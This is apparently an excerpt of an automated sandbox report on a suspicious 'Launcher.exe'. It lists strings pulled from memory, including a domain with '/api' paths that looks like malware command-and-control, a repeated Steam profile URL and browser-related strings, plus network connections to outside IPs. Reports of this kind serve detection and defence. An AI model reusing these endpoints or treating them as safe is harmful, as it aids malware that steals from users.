Source: Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Launcher.exe, 00000003.00000003.2482019704.000000000101D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000F90000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483291933.000000000101D000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/3
Source: Launcher.exe, 00000003.00000003.2342965816.000000000101B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/5
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/C
Source: Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/S
Source: Launcher.exe, 00000003.00000003.2387068270.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: Launcher.exe, 00000003.00000003.2343011519.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api1
Source: Launcher.exe, 00000003.00000003.2345580376.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373917806.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2386728051.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482226766.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2387068270.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api=
Source: Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiC
Source: Launcher.exe, 00000003.00000003.2318603921.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiP
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis
Source: Launcher.exe, 00000003.00000003.2482226766.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis/d
Source: Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/er
Source: Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pS
Source: Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/piC
Source: Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pik
Source: Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/uo
Source: Launcher.exe, 00000003.00000003.2318562532.000000000101B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/urT
Source: Launcher.exe, 00000003.00000003.2386728051.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482226766.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2387068270.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: Launcher.exe, 00000003.00000003.2183979276.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apii
Source: Launcher.exe, 00000003.00000002.2482875381.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2387068270.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apil
Source: Launcher.exe, 00000003.00000003.2183979276.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apirofiles/76561199724331900f
Source: Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Launcher.exe, 00000003.00000003.2481834662.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2482847512.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampo
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: Launcher.exe, 00000003.00000003.2350321053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346332053.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2482098262.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2348231788.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343830924.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349091115.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2347665217.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2343011519.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2349767095.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2183979276.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2345580376.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2158039808.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2318603921.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2373792847.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2344743144.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2483176433.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2346946917.0000000000FEA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133144596.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Launcher.exe, 00000003.00000003.2342762668.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2342989032.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Launcher.exe, 00000003.00000003.2159242491.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159305069.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2159379580.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Launcher.exe, 00000003.00000003.2132993100.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Launcher.exe, 00000003.00000003.2320485776.0000000003AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Launcher.exe, 00000003.00000003.2133076167.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2133013260.0000000000FDF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2132890547.0000000000FD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49783 version: TLS 1.2

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009C1000	0_2_009C1000
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D8741	0_2_009D8741
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009DE930	0_2_009DE930
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009EBA42	0_2_009EBA42
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D9B40	0_2_009D9B40
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009D3CDF	0_2_009D3CDF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_009E9C73	0_2_009E9C73
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_3_00F82F38	3_3_00F82F38
